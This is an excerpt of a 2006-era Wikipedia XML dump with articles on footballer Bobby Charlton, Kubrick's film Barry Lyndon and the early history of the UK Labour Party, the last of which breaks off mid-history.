  image    = [[Image:bobbilly.jpg|200px]]&lt;br /&gt; |
  fullname = Robert Charlton |
  nickname = Bobby |
  dateofbirth = [[October 11]], [[1937]] |
  cityofbirth = [[Ashington]] |
  countryofbirth = [[England]] |
  currentclub  = retired |
  position = [[midfielder]] |
  youthyears = |
  youthclubs = East Northumberland schools|
  years = 1954-1973&lt;br/&gt;1973-1975&lt;br/&gt; |
  clubs = [[Manchester United F.C.|Manchester United]]&lt;br/&gt;[[Preston North End F.C.]] |
  caps(goals) = 606 (198)&lt;br/&gt;38 (8) |
  nationalyears = 1958-1970 |
  nationalteam = [[England national football team|England]] |
  nationalcaps(goals) = 106 (49) |
  ntupdate = 2005 |
  pcupdate = 2005 |
}}

'''Sir Robert &quot;Bobby&quot; Charlton''', [[Order of the British Empire|CBE]] (born [[11 October]] [[1937]]) [[Ashington]], [[Northumberland]] is a former [[England|English]] [[professional]] [[Football (soccer) |football]] player who won a [[Football World Cup|World Cup]] medal and the [[European Footballer of the Year]] award in 1966.  He played almost all of his club football at [[Manchester United F.C.|Manchester United]], where he became renowned for his attacking instincts from [[midfield]] and his ferocious long-range shot. 

He began to play for United's first team in 1957, and gained a regular place in the team after surviving the [[Munich air disaster]] the following year.  After helping United to win the [[football league]] in 1965, he won a [[Football World Cup|World Cup]] medal with [[England national football team|England]] in 1966 and another football league title with United the following year.  In 1968, he captained the Manchester United team that won the [[European Cup]], scoring two goals in the final.  He left Manchester United in 1973, becoming player-manager of [[Preston North End F.C.|Preston North End]]{{ref|EncyclopædiaBritannica}}, but decided management was not for him and left after one season.  He had scored more goals for England and made more appearances for Manchester United than any other player, records which were still standing at the beginning of 2006

After assuming the post of the director at [[Wigan Athletic F.C.]] for some time, he became a member of Manchester United's board of directors in 1984{{ref|fifaworldcup}} and remains one as of January 2006.

==Early life==
One of his uncles, the [[Newcastle United F.C.|Newcastle United]] centre forward [[Jackie Milburn]], was a professional footballer, but it was Charlton's mother Cissie who coached him at first. His elder brother, [[Jack Charlton|Jack]], went to work as a miner and applied to join the [[police]] before also becoming a footballer.

On [[9 February]] [[1953]], Charlton was spotted playing for East Northumberland schools by [[Manchester United F.C.|Manchester United]] chief scout [[Joe Armstrong]]. Charlton went on to play for England schoolboys, and despite offers that followed from several other clubs, the 16-year old signed with United. Initially his mother was reluctant to let him commit to an insecure football career, so he began an [[apprentice]]ship as an engineer; however he went on to turn professional in October 1954.

Charlton became one of the famed [[Busby Babes]], the collection of precociously talented footballers who emerged through the system at [[Old Trafford (football)|Old Trafford]] in the 1940s, 1950s and 1960s as Busby set about a long-term plan of rebuilding the club after the [[World War II|Second World War]]. He worked his way through the pecking order of teams, scoring regularly for the youth and reserve sides before he was handed his first team debut against [[Charlton Athletic F.C.|Charlton Athletic]] in October 1956. At the same time, he was doing his [[National Service]] in [[Shrewsbury]], where Busby had advised him to apply as it meant he could still play for United at the weekend. Also doing his [[army]] service in Shrewsbury at the same time was his United team-mate [[Duncan Edwards]].

==Joining the first team==
Charlton played 14 times for United in that first season. They won [[The Football League]] but were denied the 20th century's first &quot;double&quot; when they controversially lost the 1957 [[FA Cup]] final to [[Aston Villa F.C.|Aston Villa]]. Charlton, still only 19, was selected for the game which saw United goalkeeper [[Ray Wood]] carried off with a broken [[cheek]]bone after a clash with Villa centre forward [[Peter McParland]]. Though Charlton was a candidate to go in goal to replace Wood (in the days before [[substitute (soccer)|substitute]]s, and certainly before goalkeeping substitutes), it was team-mate [[Jackie Blanchflower]] who ended up between the posts.

Charlton was an established player by the time the next season was fully underway, which saw United, as current League champions, become the first English team to fully embrace the [[European Cup]], reaching the semi finals where they lost to [[Real Madrid]]. Previously, [[the Football Association]] had scorned the competition but United's progress in the competition earned a great deal of [[Europe|continental]] respect. Their reputation was further enhanced the next season as they reached the quarter finals to play [[Red Star Belgrade]]. In the first leg at home, United won 2-1. The return in [[Yugoslavia]] saw Charlton score twice as United stormed 3-0 ahead although the hosts came back to earn a 3-3 draw. However, United maintained their [[aggregate]] lead to reach the last four and were in jubilant mood as they left to catch their flight home, thinking of an important League game against [[Wolverhampton Wanderers F.C.|Wolves]] at the weekend.

==The Munich air disaster==
{{seealso|Munich air disaster}}

The aeroplane which took the United players and staff home from [[Zemun|Zemun Airport]] needed to stop in [[Munich]] to refuel. This was carried out in worsening weather, and by the time the refuelling was complete and the call was made for the passengers to re-board the aircraft, the wintry showers had taken hold and snow had settled heavily on the runway and around the airport. There were two aborted take-offs which led to concern on board, and the passengers were advised by a [[stewardess]] to dismount again while a minor technical error was fixed.

Back in the airport [[terminal]] for barely ten minutes, the call to reconvene on the plane came and a number of passengers began to feel nervous. Charlton and team-mate [[Dennis Viollet]] swapped places with [[Tommy Taylor]] and [[David Pegg]], who had decided they would be safer at the back of the plane. This would prove a fatal decision.

The plane clipped the fence at the end of the runway on its next take-off attempt and a wing tore through a nearby house, setting it alight. The wing and part of the tail came off and hit a tree and a wooden hut spinning along the snow until coming to a halt. It had been cut in half.

Charlton, strapped into his seat, had fallen out of the cabin and when United goalkeeper [[Harry Gregg]] (who had somehow got through a hole in the plane unscathed and begun a one-man rescue mission) found him, he thought he was dead. That said, he grabbed both Charlton and Viollet by their [[trousers|trouser]] waistbands and dragged them away from the plane in constant fear that it would explode. Gregg returned to the plane to try to help the appallingly injured Busby and Blanchflower and when he turned around again, he was relieved to see that Charlton and Viollet, both of whom he had presumed to be dead, had got out of their detached seats and were looking into the wreckage.

Charlton suffered cuts to his head and severe [[shock]] and was in hospital for a week. Seven of his team-mates had perished at the scene, including Taylor and Pegg, with whom he and Viollet had swapped seats prior to the fatal take-off attempt. Club captain [[Roger Byrne]] was also killed, along with [[Mark Jones (footballer)|Mark Jones]], [[Liam Whelan|Billy Whelan]], [[Eddie Colman]] and [[Geoff Bent]]. [[Duncan Edwards]] died a fortnight later from the injuries he had sustained. In total, the crash claimed 23 lives. Initially, [[ice]] on the wings was blamed, but another inquiry later declared that [[slush]] on the runway had made the plane's facility to achieve a safe take-off almost impossible.

Charlton was the first survivor to leave hospital. He arrived back in [[Manchester]] on [[February 14]] [[1958]], eight days after the crash. As he convalesced, he spent some time kicking a ball around with local youths and a famous photograph of him was taken. He was still only 20 years old, yet now there was an expectation that he help with the rebuilding of the club as Busby's aides tried to piece together what remained of the season.

Not unexpectedly, United went out of the European Cup to [[AC Milan]] in the semi finals to a 5-2 aggregate defeat and fell behind in the League. Yet somehow they reached their second consecutive FA Cup final and the big day at Wembley coincided with Busby's return to work. His words could not inspire a side which was playing on a nation's goodwill and sentiment, and [[Nat Lofthouse]] scored twice to give a professional [[Bolton Wanderers F.C.|Bolton Wanderers]] side a 2-0 win.

==Hero of United &amp; England==
At the same time, Charlton's emergence as the country's leading young football talent was completed when he was called up to join the [[England national football team|England]] squad for a [[British Home Championship]] game against [[Scotland national football team|Scotland]] at [[Hampden Park]]. It would be the start of a long, prolific, record-breaking and globally respected career for his country.

Charlton was handed his debut as England romped home 4-0, with the new player gaining even more admirers after scoring a magnificent thumping volley dispatched with authority after a cross by the left winger [[Tom Finney]]. He scored both goals in his second game as England beat [[Portugal national football team|Portugal]] 2-1 in a friendly at Wembley; and overcame obvious nerves on a return to [[Belgrade]] to play his third match against [[Yugoslavia national football team|Yugoslavia]]. Unfortunately, England lost that game 5-0 and Charlton played poorly. He was selected for the squad which competed at the [[Football World Cup 1958|1958 World Cup]] in [[Sweden]], but didn't kick a ball, something at which critics expressed surprise and bewilderment, even allowing for his lacklustre performance in Belgrade.

Charlton began to settle back into his footballing life with Manchester United and England and enhanced his reputation as a scorer of great goals as well as a great goalscorer - rarely is a player regarded as both. In 1959 he scored a [[hat-trick]] as England demolished the [[United States men's national soccer team|USA]] 8-1; and his second England hat-trick came in 1961 in an 8-0 thrashing of [[Mexico national football team|Mexico]].

He played in qualifiers for the [[Football World Cup 1962|1962 World Cup]] in [[Chile]] against [[Luxembourg national football team|Luxembourg]] and Portugal and was named in the squad for the finals themselves. His goal in the 3-1 group win over [[Argentina national football team|Argentina]] was his 25th for England in just 38 appearances, but his individual success could not be replicated by that of the team, which was eliminated in the quarter final by [[Brazil national football team|Brazil]].

Further success with Manchester United finally came when they beat [[Leicester City F.C.|Leicester City]] 3-1 in the FA Cup final of 1963, with Charlton finally earning a winners' medal in his third final. Busby's post-Munich rebuilding programme continued to progress with two League championships within three seasons, with United taking the title in 1965 and 1967. In between, there was the pressing matter for Charlton of the [[Football World Cup 1966|1966 World Cup]] for which England, as hosts, had not needed to qualify. A successful (though trophyless) season with Manchester United had seen him take the honours of ''[[Football Writers' Association|Football Writers' Association Footballer of the Year]]'' and ''[[European Footballer of the Year|European Footballer Of The Year]]'' into the competition.

By now, England were coached by [[Alf Ramsey]] who had managed to gain sole control of the recruitment and team selection procedure from the [[committee]]-based call-up system which had lasted up to the previous World Cup. Ramsey had already cleared out some of the older players who had been reliant on the loyalty of the committee for their continued selection - it was well known that decorum on the pitch at club level had been just as big a factor in playing for England as ability and form. Luckily for Charlton, he had all three.

Charlton had remained the attacking midfield player around whom Ramsey had intended to build his team. He was still scoring and creating freely and as the tournament was about to start, he was expected to become one of its stars and galvanise his established reputation as one of the world's best footballers.

==The success of 1966==
The opening game of the tournament was Charlton's 69th for his country - a goalless draw with [[Uruguay national football team|Uruguay]]. England swept aside this minor hiccup to dispose of Mexico in the next game, with Charlton scoring one of the most famous goals of his career.

Picking up the ball in the centre circle of the Wembley pitch, Charlton issued a Mexican challenger with a body swerve which sent his opponent the wrong way and opened up a sizeable gap ahead of him. His reputation for long-range finishes now the stuff of legend, everyone braced themselves for a shot - and Charlton memorably obliged. It arrowed straight into the top corner of the Mexico net, finally opening England's goal account in the tournament and setting them up for a 2-0 win. This was followed by an identical scoreline against [[France national football team|France]] and England were in the last eight.

There they overcame a thuggish Argentina side with a slender 1-0 win - the game was the only one in which Charlton received a caution - and Portugal awaited in the semi finals. This turned out to be one of Charlton's most important games, for both himself and those for whom he played.

Charlton opened the scoring with a crisp side-footed finish after a run by [[Roger Hunt]] had forced the Portuguese goalkeeper out of his net; the second was a sweetly struck shot after a run and pull-back from [[Geoff Hurst]]. Charlton and Hunt were now England's equal-highest scorers in the tournament with three each, and a final against [[Germany national football team|West Germany]] was to come.

Though the game had drama, great team performances and some breathtaking individual displays, it actually turned out to be one of Charlton's quieter days. He had a young [[Franz Beckenbauer]] marking him and vice versa, and the two ultimately seemed to cancel each other out. However, the team did what was required and won 4-2 (although controversy still exists as to whether the 3rd goal ever crossed the line), with Hurst's hat-trick entering football folklore (and overtaking Charlton and Hunt as England's top marksman). Charlton was playing alongside his brother Jack and the two openly embraced and wept as the enormity of their achievement sunk in.

==European glory==
Charlton's next England game was his 75th as England beat [[Northern Ireland national football team|Northern Ireland]]; two caps later and he had become England's second most-capped player, behind the veteran [[Billy Wright]], who was approaching his 100th appearance when Charlton was starting out and ended with 105 caps.

In 1968, Manchester United reached the European Cup final, ten seasons after Munich. Even though other clubs had taken part in the competition in the intervening [[decade]], the team which got to this final was still the first English side to do so. On a highly emotional night at Wembley, Charlton scored twice in a 4-1 win after extra time against [[SL Benfica|Benfica]] and, as United captain, lifted the trophy. Weeks later he scored his 45th England goal in a friendly against [[Sweden national football team|Sweden]], breaking the record of 44 set the previous year by [[Jimmy Greaves]]. He was then in the England team which was knocked out in the semi final of the [[1968 European Football Championship|1968 European Championships]] against Yugoslavia in [[Florence]].

In 1969, Charlton was awarded the [[Order of the British Empire|OBE]] for services to football. More milestones followed as he won his 100th England cap on [[21 April]] [[1970]] against Northern Ireland, and was made captain by Ramsey for the occasion. Inevitably, he scored. This was his 48th goal for his country - his 49th and final goal would follow a month later in a 4-0 win over [[Colombia national football team|Colombia]] during a warm-up tour for the [[Football World Cup 1970|1970 World Cup]], designed to get the players adapted to [[altitude]] conditions.

==World Cup 1970 and retirement from playing football==
England began the tournament with two victories in the group stages, plus a memorable defeat against Brazil. Charlton played in all three, though was substituted for [[Alan Ball (footballer)|Alan Ball]] in the final game of the group against [[Czechoslovakia national football team|Czechoslovakia]]. Ramsey, confident of victory and progress to the quarter final, wanted Charlton to rest.

England duly reached the last eight where they again faced West Germany. Charlton controlled the midfield and suppressed [[Beckenbauer]]'s runs from deep as England coasted to a 2-0 lead. Beckenbauer pulled a goal back for the German's and Ramsey replaced the aging and tired Charlton with [[Colin Bell]] who further tested the German keeper [[Maier]] and also provided a great cross for [[Hurst]] who uncharacteristically squandered the chance. West Germany, who had a habit of coming back from behind, eventually scored twice - a freak back header from [[Uwe Seeler]] made it 2-2 after which [[Gerd Muller]]'s goal finished England off. England were out and, after a record 106 caps and 49 goals, Charlton's international career was over at the age of 32. Despite populist opinion the substitution did not change the game as [[Beckenbauer]] had scored before Charlton left the field hence Charlton had failed to cancel out the German. Charlton himself conceded that the substitution did not affect the game in a [[BBC]] documentary. His caps record lasted until 1973 when [[Bobby Moore]] overtook him, and Charlton currently lies third in the all-time England appearances list behind Moore and [[Peter Shilton]], whose own England career began in the first game after Charlton's had ended. The goals record still stands, with [[Gary Lineker]] the only player subsequently to threaten it, with a total of 48 goals for England.

Manchester United were in real difficulties in the early 1970s, with the team often fighting relegation.  At times, Charlton was not on speaking terms with United's other superstars George Best and Denis Law, and Best refused to play in Charlton's testimonial match, claiming that &quot;to do so would be hypocritical&quot;.{{ref|crick100-101}}  Charlton left Manchester United at the end of the 1972-73 season, having scored and 247 goals and set a club record of 752 appearances, a record which still stood as of 2006.

==After playing football==
Charlton became the player-manager of [[Preston North End F.C.|Preston North End]] in 1973, taking United and England team-mate [[Nobby Stiles]] with him as player-coach, but his first season was not a success and he left at the end of it.  However, he was awarded the [[Order of the British Empire|CBE]] that year.  He then joined [[Wigan Athletic F.C.|Wigan Athletic]] as a director, and was briefly caretaker manager there. &lt;!--He then spent some time playing in [[South Africa]]. --can't find a source for this.  Anybody know of one? CTOAGN--&gt; He also built up several businesses in areas such as travel, jewellery and hampers, and ran soccer schools in the UK, the USA, Canada, Australia and China. In 1984, he was invited to become member of the [[board of directors]] at Manchester United, partly because of his football knowledge and partly because it was felt that the club needed a &quot;name&quot; on the board after the resignation of [[Matt Busby|Sir Matt Busby]].{{ref|crick181-182}}  He remains a director of Manchester United as of 2006.

Charlton helped to promote Manchester's bids for the 2000 and 2004 [[Olympic Games]] and the [[2002 Commonwealth Games]], England's bid for the 2006 [[Football World Cup]] and London's bid for the 2012 Olympic Games.{{ref|bbcsport}}  He received a [[knighthood]] in 1994 and was an Inaugural Inductee to the [[English Football Hall of Fame]] in 2002. On accepting his award he commented ''“I’m really proud to be included in the National Football Museum’s Hall of Fame. It’s a great honour. If you look at the names included I have to say I couldn’t argue with them. They are all great players and people I would love to have played with.&quot;'' He is also the (honorary) president of the [[National Football Museum]], an organisation about which he said ''“I can’t think of a better Museum anywhere in the world.”''.

==Miscellaneous &amp; Family Life==
He met his [[wife]] Norma at an [[ice rink]] in Manchester in 1959 and they married in 1961. They have two daughters - Suzanne and Andrea - the former of whom became a public figure herself as a [[meteorologist|weather forecaster]] for the [[BBC]].

Charlton began to lose his hair in the early 1960s and for a while refused to go bald gracefully, sporting a style of stranded, isolated hairs which would often flop around when he was running before he would tug them back over his head. This style is today still known as &quot;the Bobby Charlton Comb-Over&quot;.

==References==
*{{cite book | author=Crick, Michael; Smith, David|  authorlink = | coauthors =| year =1990 | month = | title =Manchester United: The Betrayal of a Legend | chapter = | editor = | others = | edition = | pages = | publisher =Pan Books | location = | id =0330314408 | url = }}

==Notes==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnote3]] that explains how to do that.
   NOTE: It is important to add footnotes in the right order in the list!
 --&gt;
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|EncyclopædiaBritannica}} {{cite web | title=Bobby Charlton | work=britannica.com/eb | url=http://www.britannica.com/eb/article-9002215  | accessdate=January 28 | accessyear=2006}}
#{{note|fifaworldcup}} {{cite web | title=Bobby Charlton | work=fifaworldcup.yahoo.com| url=http://fifaworldcup.yahoo.com/06/en/p/cp/eng/charlton.html  | accessdate=January 23 | accessyear=2006}}
#{{note|bbcsport}} {{cite web | title=Charlton leads tributes to Banks | work= news.bbc.co.uk | url=http://news.bbc.co.uk/sport1/hi/front_page/4594202.stm  | accessdate=January 28 | accessyear=2006}}
#{{note|crick100-101}}{{cite book |  title =Manchester United: The Betrayal of a Legend | pages =100-101 }}
#{{note|crick181-182}}{{cite book |  title =Manchester United: The Betrayal of a Legend | pages =181-182 }}
&lt;/div&gt;

==External links==
* [http://fifaworldcup.yahoo.com/06/en/p/cp/eng/charlton.html FIFA World Cup: Bobby Charlton]
* [http://www.ifhof.com/hof/charlton.asp International Football Hall of Fame: Bobby Charlton]
* [http://www.planetworldcup.com/LEGENDS/charlton.html Planet World Cup: Bobby Charlton]
* [http://www.manutdzone.com/legends/BobbyCharlton.htm Manchester United Legends: Bobby Charlton]
* [http://www.nationalfootballmuseum.com/Hall%20of%20Fame/bobbycharlton.htm English Football Hall of Fame Profile]

{{start box}}
{{succession box|title=[[European Footballer of the Year]]|before=[[Eusébio da Silva Ferreira|Eusébio]] |after=[[Florian Albert]]|years=1966}}
{{succession box|title=[[FWA Footballer of the Year|Football Writers' Association Footballer of the Year]]|before=[[Bobby Collins]] |after=[[Jack Charlton]]|years=1966}}
{{end box}}

[[Category:1937 births|Charlton, Bobby]]
[[Category:Living people|Charlton, Bobby]]
[[Category:English footballers|Charlton, Bobby]]
[[Category:England footballers|Charlton, Bobby]]
[[Category:European Footballers of the Year|Charlton, Bobby]]
[[Category:FIFA 100|Charlton, Bobby]]
[[Category:Football knights|Charlton, Bobby]]
[[Category:Manchester United F.C. players|Charlton, Bobby]]
[[Category:Preston North End F.C. players|Charlton, Bobby]]
[[Category:English football managers|Charlton, Bobby]]
[[Category:Preston North End F.C. managers|Charlton, Bobby]]
[[Category:Knights bachelor|Charlton, Bobby]]
[[Category:Commanders of the British Empire|Charlton, Bobby]]
[[Category:Natives of Northumberland|Charlton, Bobby]]

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  <page>
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      <comment>redirect</comment>
      <text xml:space="preserve">#redirect [[Brewster's angle]]</text>
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  </page>
  <page>
    <title>Barry Lyndon</title>
    <id>4227</id>
    <revision>
      <id>39771108</id>
      <timestamp>2006-02-15T19:45:34Z</timestamp>
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      </contributor>
      <comment>disambiguation from [[2001: A Space Odyssey]] to [[2001: A Space Odyssey (film)]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Barry Lyndon |
  image          = BarryLyndonPoster.jpg |
  director       = [[Stanley Kubrick]] |
  producer       = [[Stanley Kubrick]] |
  writer         = [[Stanley Kubrick]] &lt;BR \&gt; [[William Makepeace Thackeray]] (the novel ''[[The Luck of Barry Lyndon]]'') |
  starring       = [[Ryan O'Neal]] &lt;BR \&gt; [[Marisa Berenson]] |
  distributor    = [[Warner Bros.]] |
  released   = [[18 December]], [[1975]] |
  runtime        = 184 min. |
  language = English |
  budget         = $11,000,000 (estimated) |
  imdb_id        = 0072684 |
|}}

'''''Barry Lyndon''''' ([[1975]]) is a [[film]] by [[Stanley Kubrick]] based on the novel ''[[The Luck of Barry Lyndon]]'' by [[William Makepeace Thackeray]]. It recounts the exploits of an unscrupulous [[18th century]] Irish adventurer (Barry Lyndon né Redmond Barry), particularly his rise and fall within English society. [[Ryan O'Neal]] stars as the title character. 

After ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'', Kubrick began planning a film he hoped to make about [[Napoleon]]. When he learned, however, that a competing film was being developed ([[Sergei Bondarchuk]]'s ''[[Waterloo (movie)|Waterloo]]''), he lost interest in the project and made ''[[A Clockwork Orange]]'' instead. ''Barry Lyndon'' was then made, in part to take advantage of the copious research Kubrick had done for the aborted ''Napoleon''.  Kubrick was also interested in Thackeray's ''[[Vanity Fair]]'' but dropped the project when a serialised version for television was produced.  He told an interviewer, &quot;At one time, ''Vanity Fair'' interested me as a possible film but, in the end, I decided the story could not be successfully compressed into the relatively short time-span of a feature film... as soon as I read Barry Lyndon I became very excited about it.&quot;

The film did not do well at the box office in the U.S., but was a hit in Europe. This mixed reaction is considered as a factor that led Kubrick to [[Stephen King|Stephen King's]] ''[[The Shining (film)|The Shining]]''  -  a project that would not only please him artistically but succeed financially.

''Barry Lyndon'' departs from its source novel in several ways. In Thackeray’s original, events are related in the first person by Barry himself. A comic tone pervades the work, as Barry proves both a raconteur and an [[unreliable narrator]]. Kubrick’s film, by contrast, presents the story objectively. More is involved here than a simple translation from one medium to another, however. The change in perspective is deliberate: although the film contains voice-over (by actor [[Michael Hordern]]), the comments expressed are not Barry's but those of an [[omniscient narrator|omniscient]], though not impartial, narrator. This change in perspective also alters the tone of the story. Thackeray tells a jaunty, humorous tale, but Kubrick's telling is essentially tragic.

Kubrick also changed the plot. The novel does not include a final duel, and by adding this episode Kubrick establishes dueling as the film’s central motif (The movie begins with a duel, the one that killed Barry’s father, and duels recur throughout the film).

The movie’s period setting allowed Kubrick to indulge his penchant for classical music and the film score uses pieces by [[Johann Sebastian Bach|Bach]], [[Vivaldi]], [[Paisiello]], [[Mozart]], and [[Schubert]]. The score also includes Irish folk music performed by [[The Chieftains]]. The piece most associated with the film is the main title music, [[George Frideric Handel|Handel]]'s stately [[Sarabande]] from the ''Keyboard suite Vol.2, No.4 in D minor HWV 437'', originally for solo [[harpsichord]]. Yet, the versions for main and end title are performed very [[Romantic music|romantically]] with orchestral strings, harpsichord, and [[tympani]]. It is used at various points in the film, in various arrangements, to indicate the implacable working of impersonal fate. The film won a 1975 [[Academy Award]] for Best Musical Score.

The film is famous for its cinematography and the innovations that made some of its most spectacular images possible. 
Kubrick used [[Lens (optics)|lenses]] developed by [[Zeiss]] for [[NASA]] which allowed him to shoot many of the scenes using natural light, including scenes by candlelight. His use of the zoom lens in many shots produces a flatter image, allowing Kubrick to present his 18th century settings in a way that nearly replicates paintings of the period. 

''Barry Lyndon'' has been hailed by Kubrick fans as the definitive example of a period feature film. Quotations from the film appear in such disparate works as [[Martin Scorsese]]'s ''[[The Age of Innocence]]'' and [[Wes Anderson]]'s ''[[Rushmore (movie)|Rushmore]]''. 
==Trivia==
* [[Vivian Kubrick]], daughter of Stanley Kubrick,  had an uncredited guest role simply as a guest. 

* Several of the interior scenes were filmed in Powerscourt House, a famous 18th century mansion in County Wicklow, Ireland. The house was destroyed in an accidental fire several months after filming (November 1974) so the movie serves as a record of the lost interiors. 

==External links==
*{{gutenberg|no=4558|name=The Luck of Barry Lyndon}}
*{{imdb title|id=0072684|title=Barry Lyndon}}
*[http://www.visual-memory.co.uk/sk/ac/len/page1.htm &quot;Two Special Lenses for ''Barry Lyndon''&quot;] article from ''[[American Cinematographer]]''

{{Stanley Kubrick Films}}

[[Category:1975 films]]
[[Category:Best Picture Oscar Nominee]]
[[Category:Films based on fiction books]]
[[Category:Films directed by Stanley Kubrick]]

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  <page>
    <title>Labour Party (UK)</title>
    <id>4228</id>
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      <comment>/* New Labour */</comment>
      <text xml:space="preserve">{{Infobox_British_Political_Party |
  party_name = Labour Party |
  party_articletitle = Labour Party (UK) |
  party_logo = [[Image:Labour Party.png|200px|&quot;Labour Rose&quot; logo]] |
  leader = [[Tony Blair]] |
  foundation = [[February 27]], [[1900]] |
  ideology = [[Social Democracy]]/[[Democratic Socialist]] (debatable) |
  international = [[Socialist International]] |
  european = [[Party of European Socialists]] |
  europarl = [[Party of European Socialists|PES]] |
  colours = [[Red]]|
  headquarters = 16 Old Queen Street&lt;br&gt;[[London]], SW1H 9HP |
  website = [http://www.labour.org.uk/ www.labour.org.uk]
}}
'''The Labour Party''' has been the principal [[left wing]] political party of the [[United Kingdom]] since the early 20th century (see [[British politics]]). However many [[left-wing]] members have now left the party, and at the beginning of the 21st century its political [[philosophy]] is more centre-right, pursuing a [[right-wing]] policing and privatisation agenda.  It is one of the [[United Kingdom]]'s three main [[political party|political parties]] and is currently the party of [[government]] in the United Kingdom. It describes itself as a [[Democratic Socialist]] party, but its policies are more [[Social Democratic]] or even [[Christian Democratic]]. It is a member of the [[Socialist International]]. Under the leadership of [[Tony Blair]] it won by a [[landslide victory]] in the [[United Kingdom general election, 1997|1997 general election]], and formed its first government since the [[United Kingdom general election, 1979|1979 general election]].  It retained its position with a further large victory in the [[United Kingdom general election, 2001|2001 general election]], and a smaller victory (taking only 35.3% of the popular vote) in the [[United Kingdom general election, 2005|2005 general election]]. 

==Structure==
[[Image:BlairL.jpg|thumb|left|[[Tony Blair]], Leader of the Labour Party since 1994]]
The Labour Party is a membership organisation consisting of [[Constituency Labour Parties]], [[affiliated trade unions]] and [[socialist societies]], including the [[Co-operative Party]], with which it has an electoral agreement. Members who are elected to parliamentary positions take part in the [[Parliamentary Labour Party]] (PLP) and European Parliamentary Labour Party (EPLP).  The party's decision-making bodies, on a national level, formally include the [[National Executive Committee]] (NEC), [[Labour Party Conference]], and [[National Policy Forum]] (NPF) - although in practice the Parliamentary leadership has the final say. Questions of internal party democracy have frequently provoked disputes in the party.

For many years Labour has had a policy of [[Ireland|Irish]] unity by consent, and did not allow residents of [[Northern Ireland]] to apply for membership, instead supporting the nationalist [[Social Democratic and Labour Party]] (SDLP). The 2003 Labour Party Conference accepted legal advice that the party could not continue to prohibit residents of the province joining, but the National Executive has decided not to organise or contest elections there.

The party had 201,374 members on 31 December, 2004 according to accounts filed with the [[Electoral Commission]].  In that year it had an income of about £29,000,000 (of which £3,500,000 from membership fees) and expenditure of about £32,000,000. [http://www.electoralcommission.org.uk/files/dms/TheLabourParty_17970-13292__E__N__S__W__.PDF]

==Early years==

The Labour Party's origins lie in the late 19th century, when it became apparent that there was an increasing need for a third party in Britain to represent the interests and needs of the large [[working-class]] population (for instance, the [[1899]] [[Lyons vs. Wilkins]] judgement that limited certain types of picketing). Some members of the trade union movement were interested in moving into the political field and after the extension of the franchise to working class men in [[1867]] and [[1885]], the [[Liberal Party (UK)|Liberal Party]] had endorsed some trade union-sponsored candidates. In addition several small socialist groups had been formed which wanted to link to the movement and give it a wider policy. Among these were the [[Independent Labour Party]], the [[Fabian Society]] (an intellectual group whose members were mainly [[middle-class]]), the [[Social Democratic Federation]] and the [[Scottish Labour Party (1888-1893)|Scottish Labour Party]].

British politics in the late nineteenth and early twentieth century was divided between the perceived 'establishment', represented by the [[Conservative Party (UK)|Conservative Party]] (nicknamed the [[Tory|Tories]]), and a more radical 'non-conformist' tradition, based around for example [[Wales|Welsh]] and North Midlands [[Methodism]]. The non-conformist tradition was embodied by the [[Liberal Party (UK)|Liberal Party]] under leaders like [[William Ewart Gladstone]] and [[David Lloyd George]]. After the ''Representation of The People Act, 1884'', most adult men had the vote but about 40% were still unenfranchised, mainly among the working class who would be more likely to support parties of the left.

[[Image:jameskeirhardie.jpg|thumb|James Keir Hardie, one of Labour's first MPs]]In [[1899]] a [[Doncaster]] member of the Amalgamated Society of Railway Servants, Thomas R. Steels, proposed in his union branch that the [[Trade Union Congress]] call a special conference to bring together all the left-wing organisations and form them into a single body which would sponsor Parliamentary candidates. The motion was passed at all stages including by the TUC and this special conference was held at the International Hall, Farringdon Street, [[London]] on [[February 27]]-[[February 28|28]], [[1900]]. The meeting was attended by a broad spectrum of working-class and left-wing organisations; trade unions representing about one-third of the membership of the TUC sent delegates.

The Conference created an association called the [[Labour Representation Committee]], and it was to have acted as a body coordinating attempts to elect to Parliament members who had been sponsored by [[trade union]]s as representing the working-class population. It had no single leader. In default of any other candidate, the Independent Labour Party's nominee [[Ramsay MacDonald]] was elected as Secretary. He had the difficult task of keeping the various strands of opinions in the LRC united. The October [[1900]] 'Khaki election' came too soon for the new party to effectively campaign. Only 15 candidatures were sponsored, but two were successful: [[Keir Hardie]] in [[Merthyr Tydfil]] and [[Richard Bell (politician)|Richard Bell]] in [[Derby]].

Two candidates from the Social Democratic Federation were endorsed but the SDF was unhappy with the essentially compromising agenda of the Labour Representation Committee. At the SDF's [[1901]] conference it voted to withdraw. However support for the LRC among the trade unions was boosted by the [[1901]] [[Taff Vale Case]], a dispute between strikers and a railway company that ended with the union ordered to pay £23,000 damages for a strike. The judgement effectively made strikes illegal (since employers could recoup the cost of lost business from the unions). The apparent acquiescence of the Conservative government of [[Arthur Balfour]] intensified support for the LRC against a government that appeared uninterested in the problems of working people. In the 1902-03 period the LRC won two by-elections.

[[Image: LabourPartyPlaque.jpg|200px|thumb|right|Labour Party Plaque from Caroone House 8 Farringdon Street (demolished 2004)]]
The LRC won 29 seats in the [[United Kingdom general election, 1906|1906 election]], helped by the secret [[1903]] pact between [[Ramsay Macdonald]] and  [[Liberal Party (UK)|Liberal]] Chief Whip [[Herbert John Gladstone, 1st Viscount Gladstone|Herbert Gladstone]] which aimed at avoiding Labour/Liberal contests in the interest of removing the Conservatives from office. In their first meeting after the election, the group's Members of Parliament decided to take the name &quot;The Labour Party&quot; ([[February 15]], [[1906]]). [[James Keir Hardie]], who had taken a leading role in getting the party established, was elected as Chairman of the Parliamentary Labour Party (in effect, the Leader), although only by one vote over [[David Shackleton]] after several ballots. In the party's early years, the [[Independent Labour Party]] (ILP) provided much of its activist base as the party did not have an individual membership until [[1918]] and operated as a conglomerate of affiliated bodies until that date. The [[Fabian Society]] provided much of the intellectual stimulus for the party. One of the first acts of the new Liberal government was to reverse the Taff Vale judgement. 

